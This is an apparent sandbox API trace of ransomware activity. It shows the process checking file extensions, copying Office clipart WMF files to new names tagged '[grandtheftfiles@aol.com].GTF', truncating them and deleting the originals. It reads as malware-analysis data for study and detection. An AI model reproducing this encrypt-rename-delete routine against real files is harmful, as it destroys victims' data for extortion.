	[0183.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68
	[0183.837] lstrlenW (lpString=".zip") returned 4
	[0183.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.838] lstrlenW (lpString=".rar") returned 4
	[0183.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.838] lstrlenW (lpString=".bz2") returned 4
	[0183.838] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.838] lstrlenW (lpString=".7z") returned 3
	[0183.838] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68
	[0183.838] lstrlenW (lpString=".dbf") returned 4
	[0183.838] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68
	[0183.838] lstrlenW (lpString=".1cd") returned 4
	[0183.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185806.WMF") returned 68
	[0183.838] lstrlenW (lpString=".jpg") returned 4
	[0183.838] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.838] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0183.838] lstrlenW (lpString="J0185818.WMF") returned 12
	[0183.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185818.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0183.839] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=35726) returned 1
	[0183.839] CloseHandle (hObject=0x3d4) returned 1
	[0183.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185818.wmf")) returned 0x220
	[0183.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185818.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185818.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0183.840] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.840] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185818.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0183.841] GetLastError () returned 0x0
	[0183.841] ReadFile (in: hFile=0x3d4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x8b8e, lpOverlapped=0x0) returned 1
	[0183.844] WriteFile (in: hFile=0x57c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x8b90, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x8b90, lpOverlapped=0x0) returned 1
	[0183.845] ReadFile (in: hFile=0x3d4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.845] WriteFile (in: hFile=0x57c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.846] SetEndOfFile (hFile=0x57c) returned 1
	[0183.846] CloseHandle (hObject=0x57c) returned 1
	[0183.846] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.846] SetEndOfFile (hFile=0x3d4) returned 1
	[0183.849] CloseHandle (hObject=0x3d4) returned 1
	[0183.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185818.wmf")) returned 1
	[0183.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68
	[0183.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68
	[0183.850] lstrlenW (lpString=".doc") returned 4
	[0183.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.850] lstrlenW (lpString=".docx") returned 5
	[0183.850] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0183.850] lstrlenW (lpString=".pdf") returned 4
	[0183.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.850] lstrlenW (lpString=".xls") returned 4
	[0183.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.850] lstrlenW (lpString=".xlsx") returned 5
	[0183.850] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0183.850] lstrlenW (lpString=".ppt") returned 4
	[0183.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68
	[0183.850] lstrlenW (lpString=".zip") returned 4
	[0183.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.850] lstrlenW (lpString=".rar") returned 4
	[0183.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.850] lstrlenW (lpString=".bz2") returned 4
	[0183.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.851] lstrlenW (lpString=".7z") returned 3
	[0183.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68
	[0183.851] lstrlenW (lpString=".dbf") returned 4
	[0183.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68
	[0183.851] lstrlenW (lpString=".1cd") returned 4
	[0183.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68
	[0183.851] lstrlenW (lpString=".jpg") returned 4
	[0183.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68
	[0183.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68
	[0183.851] lstrlenW (lpString=".doc") returned 4
	[0183.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.851] lstrlenW (lpString=".docx") returned 5
	[0183.851] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0183.851] lstrlenW (lpString=".pdf") returned 4
	[0183.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.851] lstrlenW (lpString=".xls") returned 4
	[0183.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.851] lstrlenW (lpString=".xlsx") returned 5
	[0183.851] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0183.851] lstrlenW (lpString=".ppt") returned 4
	[0183.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68
	[0183.851] lstrlenW (lpString=".zip") returned 4
	[0183.851] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.851] lstrlenW (lpString=".rar") returned 4
	[0183.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.851] lstrlenW (lpString=".bz2") returned 4
	[0183.851] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.851] lstrlenW (lpString=".7z") returned 3
	[0183.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68
	[0183.851] lstrlenW (lpString=".dbf") returned 4
	[0183.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68
	[0183.852] lstrlenW (lpString=".1cd") returned 4
	[0183.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185818.WMF") returned 68
	[0183.852] lstrlenW (lpString=".jpg") returned 4
	[0183.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.852] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0183.852] lstrlenW (lpString="J0185828.WMF") returned 12
	[0183.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0183.853] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=7796) returned 1
	[0183.853] CloseHandle (hObject=0x3d4) returned 1
	[0183.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf")) returned 0x220
	[0183.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0183.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0183.854] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.854] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c
	[0183.855] GetLastError () returned 0x0
	[0183.855] ReadFile (in: hFile=0x3d4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x1e74, lpOverlapped=0x0) returned 1
	[0183.870] WriteFile (in: hFile=0x57c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x1e80, lpOverlapped=0x0) returned 1
	[0183.871] ReadFile (in: hFile=0x3d4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.871] WriteFile (in: hFile=0x57c, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.871] SetEndOfFile (hFile=0x57c) returned 1
	[0183.871] CloseHandle (hObject=0x57c) returned 1
	[0183.871] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.871] SetEndOfFile (hFile=0x3d4) returned 1
	[0183.877] CloseHandle (hObject=0x3d4) returned 1
	[0183.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0183.880] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185828.wmf")) returned 1
	[0183.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68
	[0183.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68
	[0183.882] lstrlenW (lpString=".doc") returned 4
	[0183.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.882] lstrlenW (lpString=".docx") returned 5
	[0183.882] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0183.882] lstrlenW (lpString=".pdf") returned 4
	[0183.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.882] lstrlenW (lpString=".xls") returned 4
	[0183.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.883] lstrlenW (lpString=".xlsx") returned 5
	[0183.883] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0183.883] lstrlenW (lpString=".ppt") returned 4
	[0183.883] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68
	[0183.883] lstrlenW (lpString=".zip") returned 4
	[0183.883] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.883] lstrlenW (lpString=".rar") returned 4
	[0183.883] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.883] lstrlenW (lpString=".bz2") returned 4
	[0183.883] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.883] lstrlenW (lpString=".7z") returned 3
	[0183.883] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68
	[0183.883] lstrlenW (lpString=".dbf") returned 4
	[0183.883] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68
	[0183.883] lstrlenW (lpString=".1cd") returned 4
	[0183.883] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68
	[0183.883] lstrlenW (lpString=".jpg") returned 4
	[0183.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68
	[0183.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68
	[0183.883] lstrlenW (lpString=".doc") returned 4
	[0183.883] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.883] lstrlenW (lpString=".docx") returned 5
	[0183.883] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0183.883] lstrlenW (lpString=".pdf") returned 4
	[0183.883] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.883] lstrlenW (lpString=".xls") returned 4
	[0183.883] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.884] lstrlenW (lpString=".xlsx") returned 5
	[0183.884] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0183.884] lstrlenW (lpString=".ppt") returned 4
	[0183.884] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68
	[0183.884] lstrlenW (lpString=".zip") returned 4
	[0183.884] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.884] lstrlenW (lpString=".rar") returned 4
	[0183.884] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.884] lstrlenW (lpString=".bz2") returned 4
	[0183.884] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.884] lstrlenW (lpString=".7z") returned 3
	[0183.884] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68
	[0183.884] lstrlenW (lpString=".dbf") returned 4
	[0183.884] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68
	[0183.884] lstrlenW (lpString=".1cd") returned 4
	[0183.884] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68
	[0183.884] lstrlenW (lpString=".jpg") returned 4
	[0183.884] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.884] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0183.884] lstrlenW (lpString="J0185842.WMF") returned 12
	[0183.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0184.014] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=14308) returned 1
	[0184.014] CloseHandle (hObject=0x3fc) returned 1
	[0184.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf")) returned 0x220
	[0184.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0184.021] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.022] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8
	[0184.022] GetLastError () returned 0x0
	[0184.022] ReadFile (in: hFile=0x2a4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x37e4, lpOverlapped=0x0) returned 1
	[0184.270] WriteFile (in: hFile=0x2a8, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x37f0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x37f0, lpOverlapped=0x0) returned 1
	[0184.271] ReadFile (in: hFile=0x2a4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.271] WriteFile (in: hFile=0x2a8, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.271] SetEndOfFile (hFile=0x2a8) returned 1
	[0184.271] CloseHandle (hObject=0x2a8) returned 1
	[0184.271] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.271] SetEndOfFile (hFile=0x2a4) returned 1
	[0184.274] CloseHandle (hObject=0x2a4) returned 1
	[0184.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.274] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185842.wmf")) returned 1
	[0184.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68
	[0184.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68
	[0184.275] lstrlenW (lpString=".doc") returned 4
	[0184.275] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.275] lstrlenW (lpString=".docx") returned 5
	[0184.275] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0184.275] lstrlenW (lpString=".pdf") returned 4
	[0184.275] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.275] lstrlenW (lpString=".xls") returned 4
	[0184.275] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.275] lstrlenW (lpString=".xlsx") returned 5
	[0184.275] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0184.275] lstrlenW (lpString=".ppt") returned 4
	[0184.275] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68
	[0184.275] lstrlenW (lpString=".zip") returned 4
	[0184.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.276] lstrlenW (lpString=".rar") returned 4
	[0184.276] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.276] lstrlenW (lpString=".bz2") returned 4
	[0184.276] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.276] lstrlenW (lpString=".7z") returned 3
	[0184.276] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68
	[0184.276] lstrlenW (lpString=".dbf") returned 4
	[0184.276] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68
	[0184.276] lstrlenW (lpString=".1cd") returned 4
	[0184.276] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68
	[0184.276] lstrlenW (lpString=".jpg") returned 4
	[0184.276] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68
	[0184.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185842.WMF") returned 68
	[0184.276] lstrlenW (lpString=".doc") returned 4
	[0184.276] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.276] lstrlenW (lpString=".docx") returned 5
	[0184.276] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0184.276] lstrlenW (lpString=".pdf") returned 4
	[0184.276] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.276] lstrlenW (lpString=".xls") returned 4
	[0184.276] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.276] lstrlenW (lpString=".xlsx") returned 5
	[0184.276] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0184.276] lstrlenW (lpString=".ppt") returned 4
